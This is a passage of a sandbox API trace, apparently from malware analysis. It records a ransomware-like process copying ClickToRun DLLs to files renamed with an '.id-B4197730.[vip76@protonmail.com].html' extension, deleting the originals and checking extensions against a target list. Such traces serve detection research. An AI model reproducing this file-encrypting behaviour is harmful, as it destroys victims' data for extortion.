	[0078.585] CloseHandle (hObject=0x2c0) returned 1
	[0078.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20
	[0078.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.585] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.585] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0078.586] GetLastError () returned 0x0
	[0078.586] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x60c0, lpOverlapped=0x0) returned 1
	[0078.588] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0078.593] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.593] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x114, lpOverlapped=0x0) returned 1
	[0078.593] SetEndOfFile (hFile=0x38c) returned 1
	[0078.593] CloseHandle (hObject=0x38c) returned 1
	[0078.594] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.594] SetEndOfFile (hFile=0x2c0) returned 1
	[0078.595] CloseHandle (hObject=0x2c0) returned 1
	[0078.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.595] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1
	[0078.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.596] lstrlenW (lpString=".doc") returned 4
	[0078.596] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.596] lstrlenW (lpString=".docx") returned 5
	[0078.596] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.596] lstrlenW (lpString=".pdf") returned 4
	[0078.596] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.596] lstrlenW (lpString=".xls") returned 4
	[0078.596] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.596] lstrlenW (lpString=".xlsx") returned 5
	[0078.596] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.596] lstrlenW (lpString=".ppt") returned 4
	[0078.596] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.596] lstrlenW (lpString=".zip") returned 4
	[0078.596] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.596] lstrlenW (lpString=".rar") returned 4
	[0078.596] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.596] lstrlenW (lpString=".bz2") returned 4
	[0078.596] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.596] lstrlenW (lpString=".7z") returned 3
	[0078.596] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.596] lstrlenW (lpString=".dbf") returned 4
	[0078.596] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.597] lstrlenW (lpString=".1cd") returned 4
	[0078.597] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.597] lstrlenW (lpString=".jpg") returned 4
	[0078.597] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.597] lstrlenW (lpString=".doc") returned 4
	[0078.597] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.597] lstrlenW (lpString=".docx") returned 5
	[0078.597] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.597] lstrlenW (lpString=".pdf") returned 4
	[0078.597] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.597] lstrlenW (lpString=".xls") returned 4
	[0078.597] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.597] lstrlenW (lpString=".xlsx") returned 5
	[0078.597] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.597] lstrlenW (lpString=".ppt") returned 4
	[0078.597] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.597] lstrlenW (lpString=".zip") returned 4
	[0078.597] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.597] lstrlenW (lpString=".rar") returned 4
	[0078.597] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.597] lstrlenW (lpString=".bz2") returned 4
	[0078.597] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.597] lstrlenW (lpString=".7z") returned 3
	[0078.597] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.597] lstrlenW (lpString=".dbf") returned 4
	[0078.598] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.598] lstrlenW (lpString=".1cd") returned 4
	[0078.598] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0078.598] lstrlenW (lpString=".jpg") returned 4
	[0078.598] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.598] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.598] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30
	[0078.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.598] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=21184) returned 1
	[0078.598] CloseHandle (hObject=0x2c0) returned 1
	[0078.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20
	[0078.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.599] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.599] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0078.599] GetLastError () returned 0x0
	[0078.599] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x52c0, lpOverlapped=0x0) returned 1
	[0078.601] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x52d0, lpOverlapped=0x0) returned 1
	[0078.603] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.603] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x110, lpOverlapped=0x0) returned 1
	[0078.603] SetEndOfFile (hFile=0x38c) returned 1
	[0078.603] CloseHandle (hObject=0x38c) returned 1
	[0078.604] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.604] SetEndOfFile (hFile=0x2c0) returned 1
	[0078.641] CloseHandle (hObject=0x2c0) returned 1
	[0078.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.642] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1
	[0078.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.642] lstrlenW (lpString=".doc") returned 4
	[0078.642] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.642] lstrlenW (lpString=".docx") returned 5
	[0078.642] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.642] lstrlenW (lpString=".pdf") returned 4
	[0078.642] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.642] lstrlenW (lpString=".xls") returned 4
	[0078.642] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.642] lstrlenW (lpString=".xlsx") returned 5
	[0078.642] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.642] lstrlenW (lpString=".ppt") returned 4
	[0078.642] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.642] lstrlenW (lpString=".zip") returned 4
	[0078.642] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.642] lstrlenW (lpString=".rar") returned 4
	[0078.642] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.642] lstrlenW (lpString=".bz2") returned 4
	[0078.643] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.643] lstrlenW (lpString=".7z") returned 3
	[0078.643] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.643] lstrlenW (lpString=".dbf") returned 4
	[0078.643] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.643] lstrlenW (lpString=".1cd") returned 4
	[0078.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.643] lstrlenW (lpString=".jpg") returned 4
	[0078.643] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.643] lstrlenW (lpString=".doc") returned 4
	[0078.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.643] lstrlenW (lpString=".docx") returned 5
	[0078.643] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.643] lstrlenW (lpString=".pdf") returned 4
	[0078.643] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.643] lstrlenW (lpString=".xls") returned 4
	[0078.643] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.643] lstrlenW (lpString=".xlsx") returned 5
	[0078.643] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.643] lstrlenW (lpString=".ppt") returned 4
	[0078.643] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.643] lstrlenW (lpString=".zip") returned 4
	[0078.643] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.643] lstrlenW (lpString=".rar") returned 4
	[0078.644] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.644] lstrlenW (lpString=".bz2") returned 4
	[0078.644] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.644] lstrlenW (lpString=".7z") returned 3
	[0078.644] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.644] lstrlenW (lpString=".dbf") returned 4
	[0078.644] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.644] lstrlenW (lpString=".1cd") returned 4
	[0078.644] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0078.644] lstrlenW (lpString=".jpg") returned 4
	[0078.644] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.644] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.644] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33
	[0078.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.645] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=19136) returned 1
	[0078.645] CloseHandle (hObject=0x2c0) returned 1
	[0078.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20
	[0078.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.645] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.645] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0078.645] GetLastError () returned 0x0
	[0078.646] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0078.901] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0078.903] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.903] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x116, lpOverlapped=0x0) returned 1
	[0078.903] SetEndOfFile (hFile=0x38c) returned 1
	[0078.903] CloseHandle (hObject=0x38c) returned 1
	[0078.904] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.904] SetEndOfFile (hFile=0x2c0) returned 1
	[0078.905] CloseHandle (hObject=0x2c0) returned 1
	[0078.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.906] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1
	[0078.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.906] lstrlenW (lpString=".doc") returned 4
	[0078.906] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.906] lstrlenW (lpString=".docx") returned 5
	[0078.906] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.906] lstrlenW (lpString=".pdf") returned 4
	[0078.906] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.906] lstrlenW (lpString=".xls") returned 4
	[0078.906] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.906] lstrlenW (lpString=".xlsx") returned 5
	[0078.906] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.906] lstrlenW (lpString=".ppt") returned 4
	[0078.906] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.906] lstrlenW (lpString=".zip") returned 4
	[0078.906] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.906] lstrlenW (lpString=".rar") returned 4
	[0078.906] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.906] lstrlenW (lpString=".bz2") returned 4
	[0078.907] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.907] lstrlenW (lpString=".7z") returned 3
	[0078.907] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.907] lstrlenW (lpString=".dbf") returned 4
	[0078.907] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.907] lstrlenW (lpString=".1cd") returned 4
	[0078.907] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.907] lstrlenW (lpString=".jpg") returned 4
	[0078.907] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.907] lstrlenW (lpString=".doc") returned 4
	[0078.907] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.907] lstrlenW (lpString=".docx") returned 5
	[0078.907] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.907] lstrlenW (lpString=".pdf") returned 4
	[0078.907] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.907] lstrlenW (lpString=".xls") returned 4
	[0078.907] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.907] lstrlenW (lpString=".xlsx") returned 5
	[0078.907] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.907] lstrlenW (lpString=".ppt") returned 4
	[0078.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.907] lstrlenW (lpString=".zip") returned 4
	[0078.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.907] lstrlenW (lpString=".rar") returned 4
	[0078.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.908] lstrlenW (lpString=".bz2") returned 4
	[0078.908] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.908] lstrlenW (lpString=".7z") returned 3
	[0078.908] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0078.908] lstrlenW (lpString=".dbf") returned 4
	[0078.908] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
